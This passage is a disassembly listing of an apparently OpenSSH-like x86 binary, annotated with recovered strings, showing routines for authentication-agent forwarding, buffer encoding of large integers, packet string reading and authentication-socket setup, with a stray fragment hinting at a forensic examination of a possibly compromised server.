(compromised
server?)"

```
0805a7b9  e8 4a 56 ff ff        call    0804fe08 <Unknown0040>
0805a7be  c7 04 24 16 00 00 00  movl    $0x16,(%esp,1)   ;22 'x16 x0 x0 x0' ""
0805a7c5  e8 4a b8 ff ff        call    08056014 <Unknown0138>
0805a7ca  89 34 24              mov     %esi,(%esp,1)
0805a7cd  e8 a2 b8 ff ff        call    08056074 <Unknown0141>
0805a7d2  83 c4 10              add     $0x10,%esp
0805a7d5  8d 65 f8              lea     0xfffffff8(%ebp),%esp
0805a7d8  5b                    pop     %ebx
0805a7d9  5e                    pop     %esi
0805a7da  5d                    pop     %ebp
0805a7db  e9 dc b8 ff ff        jmp     080560bc <Unknown0144>   ;-18212 'xdc xb8 xff xff' ""
0805a7e0  e8 03 0b 00 00        call    0805b2e8 <Unknown0228>
0805a7e5  89 c3                 mov     %eax,%ebx
0805a7e7  85 db                 test    %ebx,%ebx
0805a7e9  79 21                 jns     0805a80c <Unknown0218+0x7c>
0805a7eb  83 ec 0c              sub     $0xc,%esp
0805a7ee  6a 16                 push    $0x16
0805a7f0  e8 1f b8 ff ff        call    08056014 <Unknown0138>
0805a7f5  89 34 24              mov     %esi,(%esp,1)
0805a7f8  e8 77 b8 ff ff        call    08056074 <Unknown0141>
0805a7fd  83 c4 10              add     $0x10,%esp
0805a800  8d 65 f8              lea     0xfffffff8(%ebp),%esp
0805a803  5b                    pop     %ebx
0805a804  5e                    pop     %esi
0805a805  5d                    pop     %ebp
0805a806  e9 b1 b8 ff ff        jmp     080560bc <Unknown0144>   ;-18255 'xb1 xb8 xff xff' ""
0805a80b  90                    nop
0805a80c  83 ec 0c              sub     $0xc,%esp
0805a80f  68 20 31 07 08        push    $0x8073120   ;[in .rodata] 2003988294 'x46 x6f x72 x77' "Forwarding
                                                         authentication connection."
0805a814  e8 67 55 ff ff        call    0804fd80 <Unknown0039>
0805a819  c7 04 24 60 31 07 08  movl    $0x8073160,(%esp,1)  ;[in .rodata] 1752462689 'x61 x75 x74 x68'
                                                                 "authentication agent connection"
0805a820  e8 13 c7 ff ff        call    08056f38 <Unknown0173>
0805a825  83 c4 0c              add     $0xc,%esp
0805a828  50                    push    %eax
0805a829  53                    push    %ebx
0805a82a  6a 04                 push    $0x4
0805a82c  e8 3b d7 ff ff        call    08057f6c <Unknown0180>
0805a831  89 c3                 mov     %eax,%ebx
0805a833  c1 e0 05              shl     $0x5,%eax
0805a836  01 d8                 add     %ebx,%eax
0805a838  8b 15 48 7e 07 08     mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a83e  8d 04 43              lea     (%ebx,%eax,2),%eax
0805a841  89 74 82 08          mov     %esi,0x8(%edx,%eax,4)
0805a845  c7 04 24 15 00 00 00  movl    $0x15,(%esp,1)   ;21 'x15 x0 x0 x0' ""
0805a84c  e8 c3 b7 ff ff        call    08056014 <Unknown0138>
0805a851  89 34 24              mov     %esi,(%esp,1)
0805a854  e8 1b b8 ff ff        call    08056074 <Unknown0141>
0805a859  89 1c 24              mov     %ebx,(%esp,1)
0805a85c  e8 13 b8 ff ff        call    08056074 <Unknown0141>
0805a861  83 c4 10              add     $0x10,%esp
0805a864  8d 65 f8              lea     0xfffffff8(%ebp),%esp
0805a867  5b                    pop     %ebx
0805a868  5e                    pop     %esi
0805a869  5d                    pop     %ebp
0805a86a  e9 4d b8 ff ff        jmp     080560bc <Unknown0144>   ;-18355 'x4d xb8 xff xff' "M"
0805a86f  90                    nop


  ;
  ; >--------------------<  Subroutine # 219 >--------------------<
  ;
0805a870 <Unknown0219>:
0805a870  55                    push    %ebp
0805a871  89 e5                 mov     %esp,%ebp
0805a873  57                    push    %edi
0805a874  56                    push    %esi
0805a875  53                    push    %ebx
0805a876  83 ec 24              sub     $0x24,%esp
0805a879  6a 02                 push    $0x2
0805a87b  8b 5d 0c              mov     0xc(%ebp),%ebx
0805a87e  53                    push    %ebx
0805a87f  e8 44 7d 00 00        call    080625c8 <Unknown0338>
0805a884  5e                    pop     %esi
0805a885  5f                    pop     %edi
0805a886  6a 10                 push    $0x10
0805a888  53                    push    %ebx
0805a889  89 45 e8              mov     %eax,0xffffffe8(%ebp)
0805a88c  e8 37 7d 00 00        call    080625c8 <Unknown0338>
0805a891  89 45 e4              mov     %eax,0xffffffe4(%ebp)
```

```
0805a894  83 c0 02              add      $0x2,%eax
0805a897  89 04 24              mov      %eax,(%esp,1)
0805a89a  e8 f1 c5 ff ff        call     08056e90 <Unknown0170>
0805a89f  83 c4 0c              add      $0xc,%esp
0805a8a2  53                    push     %ebx
0805a8a3  6a 10                 push     $0x10
0805a8a5  89 c7                 mov      %eax,%edi
0805a8a7  57                    push     %edi
0805a8a8  e8 cf 67 00 00        call     0806107c <Unknown0317>
0805a8ad  31 db                 xor      %ebx,%ebx
0805a8af  83 c4 10              add      $0x10,%esp
0805a8b2  f7 45 e4 01 00 00 00  testl    $0x1,0xffffffe4(%ebp)  ;1 'x1 x0 x0 x0' ""
0805a8b9  c7 45 e0 00 00 00 00  movl     $0x0,0xffffffe0(%ebp)  ;0 'x0 x0 x0 x0' ""
0805a8c0  74 24                 je       0805a8e6 <Unknown0219+0x76>
0805a8c2  53                    push     %ebx
0805a8c3  8d 75 f0              lea      0xfffffff0(%ebp),%esi
0805a8c6  56                    push     %esi
0805a8c7  68 80 31 07 08        push     $0x8073180  ;[in .rodata] 7876901 'x25 x31 x78 x0' "%1x"
0805a8cc  57                    push     %edi
0805a8cd  e8 9a fa fe ff        call     0804a36c <sscanf>
0805a8d2  8a 45 f0              mov      0xfffffff0(%ebp),%al
0805a8d5  88 07                 mov      %al,(%edi)
0805a8d7  bb 01 00 00 00        mov      $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
0805a8dc  c7 45 e0 01 00 00 00  movl     $0x1,0xffffffe0(%ebp)  ;1 'x1 x0 x0 x0' ""
0805a8e3  83 c4 10              add      $0x10,%esp
0805a8e6  3b 5d e4              cmp      0xffffffe4(%ebp),%ebx
0805a8e9  7d 2d                 jge      0805a918 <Unknown0219+0xa8>
0805a8eb  8d 75 f0              lea      0xfffffff0(%ebp),%esi
0805a8ee  89 f6                 mov      %esi,%esi
0805a8f0  51                    push     %ecx
0805a8f1  56                    push     %esi
0805a8f2  68 84 31 07 08        push     $0x8073184  ;[in .rodata] 7877157 'x25 x32 x78 x0' "%2x"
0805a8f7  8d 04 3b              lea      (%ebx,%edi,1),%eax
0805a8fa  50                    push     %eax
0805a8fb  e8 6c fa fe ff        call     0804a36c <sscanf>
0805a900  8b 55 e0              mov      0xffffffe0(%ebp),%edx
0805a903  8a 45 f0              mov      0xfffffff0(%ebp),%al
0805a906  88 04 3a              mov      %al,(%edx,%edi,1)
0805a909  83 c3 02              add      $0x2,%ebx
0805a90c  42                    inc      %edx
0805a90d  83 c4 10              add      $0x10,%esp
0805a910  3b 5d e4              cmp      0xffffffe4(%ebp),%ebx
0805a913  89 55 e0              mov      %edx,0xffffffe0(%ebp)
0805a916  7c d8                 jl       0805a8f0 <Unknown0219+0x80>
0805a918  8b 45 e8              mov      0xffffffe8(%ebp),%eax
0805a91b  83 c0 07              add      $0x7,%eax
0805a91e  79 06                 jns      0805a926 <Unknown0219+0xb6>
0805a920  8b 45 e8              mov      0xffffffe8(%ebp),%eax
0805a923  83 c0 0e              add      $0xe,%eax
0805a926  c1 f8 03              sar      $0x3,%eax
0805a929  39 45 e0              cmp      %eax,0xffffffe0(%ebp)
0805a92c  74 16                 je       0805a944 <Unknown0219+0xd4>
0805a92e  68 88 31 07 08        push     $0x8073188  ;[in .rodata] 1717990754 'x62 x75 x66 x66'
                                                      "buffer_put_mp_int"
0805a933  6a 4f                 push     $0x4f
0805a935  68 9a 31 07 08        push     $0x807319a  ;[in .rodata] 1634104674 'x62 x75 x66 x61' "bufaux.c"
0805a93a  68 a3 31 07 08        push     $0x80731a3  ;[in .rodata] 1025534319 'x6f x69 x20 x3d' "oi ==
                                                      ((bits + 7) / 8)"
0805a93f  e8 88 f4 fe ff        call     08049dcc <__assert_fail>
0805a944  8b 45 e8              mov      0xffffffe8(%ebp),%eax
0805a947  c1 f8 08              sar      $0x8,%eax
0805a94a  8a 55 e8              mov      0xffffffe8(%ebp),%dl
0805a94d  88 45 ee              mov      %al,0xffffffee(%ebp)
0805a950  88 55 ef              mov      %dl,0xffffffef(%ebp)
0805a953  8d 45 ee              lea      0xffffffee(%ebp),%eax
0805a956  52                    push     %edx
0805a957  6a 02                 push     $0x2
0805a959  50                    push     %eax
0805a95a  ff 75 08              pushl    0x8(%ebp)
0805a95d  e8 22 b0 ff ff        call     08055984 <Unknown0117>
0805a962  83 c4 0c              add      $0xc,%esp
0805a965  ff 75 e0              pushl    0xffffffe0(%ebp)
0805a968  57                    push     %edi
0805a969  ff 75 08              pushl    0x8(%ebp)
0805a96c  e8 13 b0 ff ff        call     08055984 <Unknown0117>
0805a971  83 c4 0c              add      $0xc,%esp
0805a974  ff 75 e4              pushl    0xffffffe4(%ebp)
0805a977  6a 00                 push     $0x0
0805a979  57                    push     %edi
0805a97a  e8 2d fa fe ff        call     0804a3ac <memset>
0805a97f  89 3c 24              mov      %edi,(%esp,1)
0805a982  e8 89 c5 ff ff        call     08056f10 <Unknown0172>
0805a987  8d 65 f4              lea      0xfffffff4(%ebp),%esp
0805a98a  5b                    pop      %ebx
```

```
0805a98b   5e                        pop     %esi
0805a98c   5f                        pop     %edi
0805a98d   5d                        pop     %ebp
0805a98e   c3                        ret
0805a98f   90                        nop


  ;
  ; >--------------------<  Subroutine # 220 >--------------------<
  ;
0805a990 <Unknown0220>:
0805a990   55                        push    %ebp
0805a991   89 e5                     mov     %esp,%ebp
0805a993   57                        push    %edi
0805a994   56                        push    %esi
0805a995   53                        push    %ebx
0805a996   83 ec 10                  sub     $0x10,%esp
0805a999   6a 02                     push    $0x2
0805a99b   8d 45 f2                  lea     0xfffffff2(%ebp),%eax
0805a99e   50                        push    %eax
0805a99f   ff 75 08                  pushl   0x8(%ebp)
0805a9a2   e8 b1 b0 ff ff            call    08055a58 <Unknown0120>
0805a9a7   0f b6 45 f2               movzbl  0xfffffff2(%ebp),%eax
0805a9ab   c1 e0 08                  shl     $0x8,%eax
0805a9ae   0f b6 55 f3               movzbl  0xfffffff3(%ebp),%edx
0805a9b2   09 d0                     or      %edx,%eax
0805a9b4   8d 58 07                  lea     0x7(%eax),%ebx
0805a9b7   c1 fb 03                  sar     $0x3,%ebx
0805a9ba   8d 44 1b 01               lea     0x1(%ebx,%ebx,1),%eax
0805a9be   89 04 24                  mov     %eax,(%esp,1)
0805a9c1   e8 ca c4 ff ff            call    08056e90 <Unknown0170>
0805a9c6   83 c4 10                  add     $0x10,%esp
0805a9c9   85 db                     test    %ebx,%ebx
0805a9cb   89 45 ec                  mov     %eax,0xffffffec(%ebp)
0805a9ce   74 30                     je      0805aa00 <Unknown0220+0x70>
0805a9d0   8d 7d f1                  lea     0xfffffff1(%ebp),%edi
0805a9d3   89 c6                     mov     %eax,%esi
0805a9d5   8d 76 00                  lea     0x0(%esi),%esi
0805a9d8   51                        push    %ecx
0805a9d9   6a 01                     push    $0x1
0805a9db   57                        push    %edi
0805a9dc   ff 75 08                  pushl   0x8(%ebp)
0805a9df   e8 74 b0 ff ff            call    08055a58 <Unknown0120>
0805a9e4   83 c4 0c                  add     $0xc,%esp
0805a9e7   0f b6 45 f1               movzbl  0xfffffff1(%ebp),%eax
0805a9eb   50                        push    %eax
0805a9ec   68 ba 31 07 08            push    $0x80731ba   ;[in .rodata] 2016555045 'x25 x30 x32 x78' "%02x"
0805a9f1   56                        push    %esi
0805a9f2   e8 55 fa fe ff            call    0804a44c <sprintf>
0805a9f7   83 c4 10                  add     $0x10,%esp
0805a9fa   83 c6 02                  add     $0x2,%esi
0805a9fd   4b                        dec     %ebx
0805a9fe   75 d8                     jne     0805a9d8 <Unknown0220+0x48>
0805aa00   52                        push    %edx
0805aa01   6a 10                     push    $0x10
0805aa03   ff 75 ec                  pushl   0xffffffec(%ebp)
0805aa06   ff 75 0c                  pushl   0xc(%ebp)
0805aa09   e8 3a 7a 00 00            call    08062448 <Unknown0335>
0805aa0e   8b 7d ec                  mov     0xffffffec(%ebp),%edi
0805aa11   fc                        cld
0805aa12   31 c0                     xor     %eax,%eax
0805aa14   b9 ff ff ff ff            mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805aa19   f2 ae                     repnz scas %es:(%edi),%al
0805aa1b   f7 d1                     not     %ecx
0805aa1d   83 c4 0c                  add     $0xc,%esp
0805aa20   49                        dec     %ecx
0805aa21   51                        push    %ecx
0805aa22   6a 00                     push    $0x0
0805aa24   ff 75 ec                  pushl   0xffffffec(%ebp)
0805aa27   e8 80 f9 fe ff            call    0804a3ac <memset>
0805aa2c   58                        pop     %eax
0805aa2d   ff 75 ec                  pushl   0xffffffec(%ebp)
0805aa30   e8 db c4 ff ff            call    08056f10 <Unknown0172>
0805aa35   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0805aa38   5b                        pop     %ebx
0805aa39   5e                        pop     %esi
0805aa3a   5f                        pop     %edi
0805aa3b   5d                        pop     %ebp
0805aa3c   c3                        ret
0805aa3d   8d 76 00                  lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 221 >--------------------<
```

```
     ;
0805aa40 <Unknown0221>:
0805aa40  55                      push   %ebp
0805aa41  89 e5                   mov    %esp,%ebp
0805aa43  83 ec 0c                sub    $0xc,%esp
0805aa46  6a 04                   push   $0x4
0805aa48  8d 45 fc                lea    0xfffffffc(%ebp),%eax
0805aa4b  50                      push   %eax
0805aa4c  ff 75 08                pushl  0x8(%ebp)
0805aa4f  e8 04 b0 ff ff          call   08055a58 <Unknown0120>
0805aa54  0f b6 45 fc             movzbl 0xfffffffc(%ebp),%eax
0805aa58  0f b6 55 fd             movzbl 0xfffffffd(%ebp),%edx
0805aa5c  c1 e2 10                shl    $0x10,%edx
0805aa5f  c1 e0 18                shl    $0x18,%eax
0805aa62  09 d0                   or     %edx,%eax
0805aa64  0f b6 55 fe             movzbl 0xfffffffe(%ebp),%edx
0805aa68  c1 e2 08                shl    $0x8,%edx
0805aa6b  09 d0                   or     %edx,%eax
0805aa6d  0f b6 55 ff             movzbl 0xffffffff(%ebp),%edx
0805aa71  09 d0                   or     %edx,%eax
0805aa73  c9                      leave
0805aa74  c3                      ret
0805aa75  8d 76 00                lea    0x0(%esi),%esi


     ;
     ; >--------------------< Subroutine # 222 >--------------------<
     ;
0805aa78 <Unknown0222>:
0805aa78  55                      push   %ebp
0805aa79  89 e5                   mov    %esp,%ebp
0805aa7b  56                      push   %esi
0805aa7c  53                      push   %ebx
0805aa7d  83 ec 14                sub    $0x14,%esp
0805aa80  8b 75 08                mov    0x8(%ebp),%esi
0805aa83  8b 4d 0c                mov    0xc(%ebp),%ecx
0805aa86  89 c8                   mov    %ecx,%eax
0805aa88  c1 e8 18                shr    $0x18,%eax
0805aa8b  88 45 f4                mov    %al,0xfffffff4(%ebp)
0805aa8e  89 c8                   mov    %ecx,%eax
0805aa90  c1 e8 10                shr    $0x10,%eax
0805aa93  88 45 f5                mov    %al,0xfffffff5(%ebp)
0805aa96  0f b6 d5                movzbl %ch,%edx
0805aa99  0f b7 45 f4             movzwl 0xfffffff4(%ebp),%eax
0805aa9d  c1 e2 10                shl    $0x10,%edx
0805aaa0  c1 e1 18                shl    $0x18,%ecx
0805aaa3  09 d0                   or     %edx,%eax
0805aaa5  09 c8                   or     %ecx,%eax
0805aaa7  8d 5d f4                lea    0xfffffff4(%ebp),%ebx
0805aaaa  89 45 f4                mov    %eax,0xfffffff4(%ebp)
0805aaad  6a 04                   push   $0x4
0805aaaf  53                      push   %ebx
0805aab0  56                      push   %esi
0805aab1  e8 ce ae ff ff          call   08055984 <Unknown0117>
0805aab6  8d 65 f8                lea    0xfffffff8(%ebp),%esp
0805aab9  5b                      pop    %ebx
0805aaba  5e                      pop    %esi
0805aabb  5d                      pop    %ebp
0805aabc  c3                      ret
0805aabd  8d 76 00                lea    0x0(%esi),%esi


     ;
     ; >--------------------< Subroutine # 223 >--------------------<
     ;
0805aac0 <Unknown0223>:
0805aac0  55                      push   %ebp
0805aac1  89 e5                   mov    %esp,%ebp
0805aac3  57                      push   %edi
0805aac4  56                      push   %esi
0805aac5  53                      push   %ebx
0805aac6  83 ec 18                sub    $0x18,%esp
0805aac9  8b 7d 08                mov    0x8(%ebp),%edi
0805aacc  57                      push   %edi
0805aacd  e8 6e ff ff ff          call   0805aa40 <Unknown0221>
0805aad2  89 c6                   mov    %eax,%esi
0805aad4  83 c4 10                add    $0x10,%esp
0805aad7  81 fe 00 00 04 00       cmp    $0x40000,%esi    ;262144 'x0 x0 x4 x0' ""
0805aadd  76 11                   jbe    0805aaf0 <Unknown0223+0x30>
0805aadf  83 ec 08                sub    $0x8,%esp
0805aae2  56                      push   %esi
0805aae3  68 c0 31 07 08          push   $0x80731c0   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                       packet with bad string length %d"
0805aae8  e8 6f 54 ff ff          call   0804ff5c <Unknown0044>
```

```
0805aaed  83 c4 10              add     $0x10,%esp
0805aaf0  83 ec 0c              sub     $0xc,%esp
0805aaf3  8d 46 01              lea     0x1(%esi),%eax
0805aaf6  50                    push    %eax
0805aaf7  e8 94 c3 ff ff        call    08056e90 <Unknown0170>
0805aafc  83 c4 0c              add     $0xc,%esp
0805aaff  56                    push    %esi
0805ab00  89 c3                 mov     %eax,%ebx
0805ab02  53                    push    %ebx
0805ab03  57                    push    %edi
0805ab04  e8 4f af ff ff        call    08055a58 <Unknown0120>
0805ab09  c6 04 1e 00           movb    $0x0,(%esi,%ebx,1)
0805ab0d  8b 7d 0c              mov     0xc(%ebp),%edi
0805ab10  83 c4 10              add     $0x10,%esp
0805ab13  85 ff                 test    %edi,%edi
0805ab15  74 05                 je      0805ab1c <Unknown0223+0x5c>
0805ab17  8b 45 0c              mov     0xc(%ebp),%eax
0805ab1a  89 30                 mov     %esi,(%eax)
0805ab1c  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805ab1f  89 d8                 mov     %ebx,%eax
0805ab21  5b                    pop     %ebx
0805ab22  5e                    pop     %esi
0805ab23  5f                    pop     %edi
0805ab24  5d                    pop     %ebp
0805ab25  c3                    ret
0805ab26  89 f6                 mov     %esi,%esi


  ;
  ; >---------------------< Subroutine # 224 >---------------------<
  ;
0805ab28 <Unknown0224>:
0805ab28  55                    push    %ebp
0805ab29  89 e5                 mov     %esp,%ebp
0805ab2b  57                    push    %edi
0805ab2c  56                    push    %esi
0805ab2d  53                    push    %ebx
0805ab2e  83 ec 14              sub     $0x14,%esp
0805ab31  8b 75 10              mov     0x10(%ebp),%esi
0805ab34  8b 5d 08              mov     0x8(%ebp),%ebx
0805ab37  8b 7d 0c              mov     0xc(%ebp),%edi
0805ab3a  56                    push    %esi
0805ab3b  53                    push    %ebx
0805ab3c  e8 37 ff ff ff        call    0805aa78 <Unknown0222>
0805ab41  83 c4 10              add     $0x10,%esp
0805ab44  89 75 10              mov     %esi,0x10(%ebp)
0805ab47  89 7d 0c              mov     %edi,0xc(%ebp)
0805ab4a  89 5d 08              mov     %ebx,0x8(%ebp)
0805ab4d  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805ab50  5b                    pop     %ebx
0805ab51  5e                    pop     %esi
0805ab52  5f                    pop     %edi
0805ab53  5d                    pop     %ebp
0805ab54  e9 2b ae ff ff        jmp     08055984 <Unknown0117>   ;-20949 'x2b xae xff xff' "+"
0805ab59  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >---------------------< Subroutine # 225 >---------------------<
  ;
0805ab5c <Unknown0225>:
0805ab5c  55                    push    %ebp
0805ab5d  89 e5                 mov     %esp,%ebp
0805ab5f  83 ec 0c              sub     $0xc,%esp
0805ab62  6a 01                 push    $0x1
0805ab64  8d 45 ff              lea     0xffffffff(%ebp),%eax
0805ab67  50                    push    %eax
0805ab68  ff 75 08              pushl   0x8(%ebp)
0805ab6b  e8 e8 ae ff ff        call    08055a58 <Unknown0120>
0805ab70  0f b6 45 ff           movzbl  0xffffffff(%ebp),%eax
0805ab74  c9                    leave
0805ab75  c3                    ret
0805ab76  89 f6                 mov     %esi,%esi


  ;
  ; >---------------------< Subroutine # 226 >---------------------<
  ;
0805ab78 <Unknown0226>:
0805ab78  55                    push    %ebp
0805ab79  89 e5                 mov     %esp,%ebp
0805ab7b  83 ec 0c              sub     $0xc,%esp
0805ab7e  8b 55 0c              mov     0xc(%ebp),%edx
0805ab81  6a 01                 push    $0x1
```

```
0805ab83  88 55 ff                 mov     %dl,0xffffffff(%ebp)
0805ab86  8d 55 ff                 lea     0xffffffff(%ebp),%edx
0805ab89  8b 45 08                 mov     0x8(%ebp),%eax
0805ab8c  52                       push    %edx
0805ab8d  50                       push    %eax
0805ab8e  e8 f1 ad ff ff           call    08055984 <Unknown0117>
0805ab93  c9                       leave
0805ab94  c3                       ret
0805ab95  8d 76 00                 lea     0x0(%esi),%esi


    ;
    ; >--------------------<  Subroutine # 227 >--------------------<
    ;
0805ab98 <Unknown0227>:
0805ab98  55                       push    %ebp
0805ab99  89 e5                    mov     %esp,%ebp
0805ab9b  57                       push    %edi
0805ab9c  56                       push    %esi
0805ab9d  53                       push    %ebx
0805ab9e  81 ec d8 02 00 00        sub     $0x2d8,%esp  ;728 'xd8 x2 x0 x0' ""
0805aba4  68 00 32 07 08           push    $0x8073200   ;[in .rodata] 1598575443 'x53 x53 x48 x5f'
                                                        "SSH_AUTH_SOCK"
0805aba9  c7 85 2c fd ff ff 00 00 00 00  movl  $0x0,0xfffffd2c(%ebp)  ;0 'x0 x0 x0 x0' ""
0805abb3  e8 64 f1 fe ff           call    08049d1c <getenv>
0805abb8  83 c4 10                 add     $0x10,%esp
0805abbb  85 c0                    test    %eax,%eax
0805abbd  89 85 28 fd ff ff        mov     %eax,0xfffffd28(%ebp)  ;-728 'x28 xfd xff xff' "("
0805abc3  75 0b                    jne     0805abd0 <Unknown0227+0x38>
0805abc5  b8 ff ff ff ff           mov     $0xffffffff,%eax  ;-1 'xff xff xff xff' ""
0805abca  e9 11 07 00 00           jmp     0805b2e0 <Unknown0227+0x748>  ;1809 'x11 x7 x0 x0' ""
0805abcf  90                       nop
0805abd0  83 ec 0c                 sub     $0xc,%esp
0805abd3  ff b5 28 fd ff ff        pushl   0xfffffd28(%ebp)  ;-728 'x28 xfd xff xff' "("
0805abd9  e8 5a c3 ff ff           call    08056f38 <Unknown0173>
0805abde  89 85 30 fd ff ff        mov     %eax,0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805abe4  89 c7                    mov     %eax,%edi
0805abe6  fc                       cld
0805abe7  31 c0                    xor     %eax,%eax
0805abe9  b9 ff ff ff ff           mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805abee  f2 ae                    repnz scas %es:(%edi),%al
0805abf0  f7 d1                    not     %ecx
0805abf2  8b 85 30 fd ff ff        mov     0xfffffd30(%ebp),%eax  ;-720 'x30 xfd xff xff' "0"
0805abf8  8d 4c 08 ff              lea     0xffffffff(%eax,%ecx,1),%ecx
0805abfc  83 c4 10                 add     $0x10,%esp
0805abff  39 c1                    cmp     %eax,%ecx
0805ac01  89 8d 34 fd ff ff        mov     %ecx,0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805ac07  74 26                    je      0805ac2f <Unknown0227+0x97>
0805ac09  80 39 2f                 cmpb    $0x2f,(%ecx)
0805ac0c  74 21                    je      0805ac2f <Unknown0227+0x97>
0805ac0e  89 f6                    mov     %esi,%esi
0805ac10  ff 8d 34 fd ff ff        decl    0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805ac16  8b 85 30 fd ff ff        mov     0xfffffd30(%ebp),%eax  ;-720 'x30 xfd xff xff' "0"
0805ac1c  39 85 34 fd ff ff        cmp     %eax,0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805ac22  74 0b                    je      0805ac2f <Unknown0227+0x97>
0805ac24  8b 85 34 fd ff ff        mov     0xfffffd34(%ebp),%eax  ;-716 'x34 xfd xff xff' "4"
0805ac2a  80 38 2f                 cmpb    $0x2f,(%eax)
0805ac2d  75 e1                    jne     0805ac10 <Unknown0227+0x78>
0805ac2f  83 ec 08                 sub     $0x8,%esp
0805ac32  8b 85 34 fd ff ff        mov     0xfffffd34(%ebp),%eax  ;-716 'x34 xfd xff xff' "4"
0805ac38  c6 00 00                 movb    $0x0,(%eax)
0805ac3b  40                       inc     %eax
0805ac3c  6a 2f                    push    $0x2f
0805ac3e  ff b5 30 fd ff ff        pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805ac44  89 85 34 fd ff ff        mov     %eax,0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805ac4a  e8 0d f6 fe ff           call    0804a25c <strrchr>
0805ac4f  89 c6                    mov     %eax,%esi
0805ac51  83 c4 10                 add     $0x10,%esp
0805ac54  85 f6                    test    %esi,%esi
0805ac56  74 08                    je      0805ac60 <Unknown0227+0xc8>
0805ac58  3b b5 30 fd ff ff        cmp     0xfffffd30(%ebp),%esi  ;-720 'x30 xfd xff xff' "0"
0805ac5e  75 1c                    jne     0805ac7c <Unknown0227+0xe4>
0805ac60  56                       push    %esi
0805ac61  ff b5 30 fd ff ff        pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805ac67  68 00 32 07 08           push    $0x8073200   ;[in .rodata] 1598575443 'x53 x53 x48 x5f'
                                                        "SSH_AUTH_SOCK"
0805ac6c  68 20 32 07 08           push    $0x8073220   ;[in .rodata] 1635151433 'x49 x6e x76 x61' "Invalid
                                                        %.200s `%.100s', it should contain at least one /."
0805ac71  e8 92 51 ff ff           call    0804fe08 <Unknown0040>
0805ac76  5b                       pop     %ebx
0805ac77  e9 f3 05 00 00           jmp     0805b26f <Unknown0227+0x6d7>  ;1523 'xf3 x5 x0 x0' ""
0805ac7c  c6 06 00                 movb    $0x0,(%esi)
0805ac7f  8d 85 98 fd ff ff        lea     0xfffffd98(%ebp),%eax  ;-616 'x98 xfd xff xff' ""
0805ac85  51                       push    %ecx
```

```
0805ac86  50                       push   %eax
0805ac87  ff b5 30 fd ff ff        pushl  0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805ac8d  6a 03                    push   $0x3
0805ac8f  e8 98 f3 fe ff           call   0804a02c <__xstat>
0805ac94  83 c4 10                 add    $0x10,%esp
0805ac97  85 c0                    test   %eax,%eax
0805ac99  74 19                    je     0805acb4 <Unknown0227+0x11c>
0805ac9b  83 ec 08                 sub    $0x8,%esp
0805ac9e  ff b5 30 fd ff ff        pushl  0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805aca4  68 60 32 07 08           push   $0x8073260   ;[in .rodata] 1701994832 'x50 x61 x72 x65' "Parent
                                                        directory stat failed `%.100s'"
0805aca9  e8 5a 51 ff ff           call   0804fe08 <Unknown0040>
0805acae  5a                       pop    %edx
0805acaf  e9 bb 05 00 00           jmp    0805b26f <Unknown0227+0x6d7>   ;1467 'xbb x5 x0 x0' ""
0805acb4  83 ec 0c                 sub    $0xc,%esp
0805acb7  c6 06 2f                 movb   $0x2f,(%esi)
0805acba  ff 35 9c 7b 07 08        pushl  0x8077b9c   ;[in .data] 0 'x0 x0 x0 x0' ""
0805acc0  e8 47 f1 fe ff           call   08049e0c <getpwuid>
0805acc5  83 c4 0c                 add    $0xc,%esp
0805acc8  89 c7                    mov    %eax,%edi
0805acca  8d 85 b8 fe ff ff        lea    0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
0805acd0  50                       push   %eax
0805acd1  ff b5 30 fd ff ff        pushl  0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805acd7  6a 03                    push   $0x3
0805acd9  e8 0e f4 fe ff           call   0804a0ec <__lxstat>
0805acde  83 c4 10                 add    $0x10,%esp
0805ace1  85 c0                    test   %eax,%eax
0805ace3  74 1b                    je     0805ad00 <Unknown0227+0x168>
0805ace5  83 ec 08                 sub    $0x8,%esp
0805ace8  ff b5 30 fd ff ff        pushl  0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805acee  68 a0 32 07 08           push   $0x80732a0   ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot stat
                                                        authentication socket directory %.100s"
0805acf3  e8 10 51 ff ff           call   0804fe08 <Unknown0040>
0805acf8  58                       pop    %eax
0805acf9  e9 71 05 00 00           jmp    0805b26f <Unknown0227+0x6d7>   ;1393 'x71 x5 x0 x0' "q"
0805acfe  89 f6                    mov    %esi,%esi
0805ad00  83 ec 0c                 sub    $0xc,%esp
0805ad03  ff b5 30 fd ff ff        pushl  0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805ad09  e8 ae f3 fe ff           call   0804a0bc <chdir>
0805ad0e  83 c4 0c                 add    $0xc,%esp
0805ad11  8d 85 58 fe ff ff        lea    0xfffffe58(%ebp),%eax   ;-424 'x58 xfe xff xff' "X"
0805ad17  50                       push   %eax
0805ad18  68 d3 32 07 08           push   $0x80732d3   ;[in .rodata] 1953693742 'x2e x0 x73 x74' "."
0805ad1d  6a 03                    push   $0x3
0805ad1f  e8 08 f3 fe ff           call   0804a02c <__xstat>
0805ad24  83 c4 10                 add    $0x10,%esp
0805ad27  85 c0                    test   %eax,%eax
0805ad29  74 15                    je     0805ad40 <Unknown0227+0x1a8>
0805ad2b  83 ec 0c                 sub    $0xc,%esp
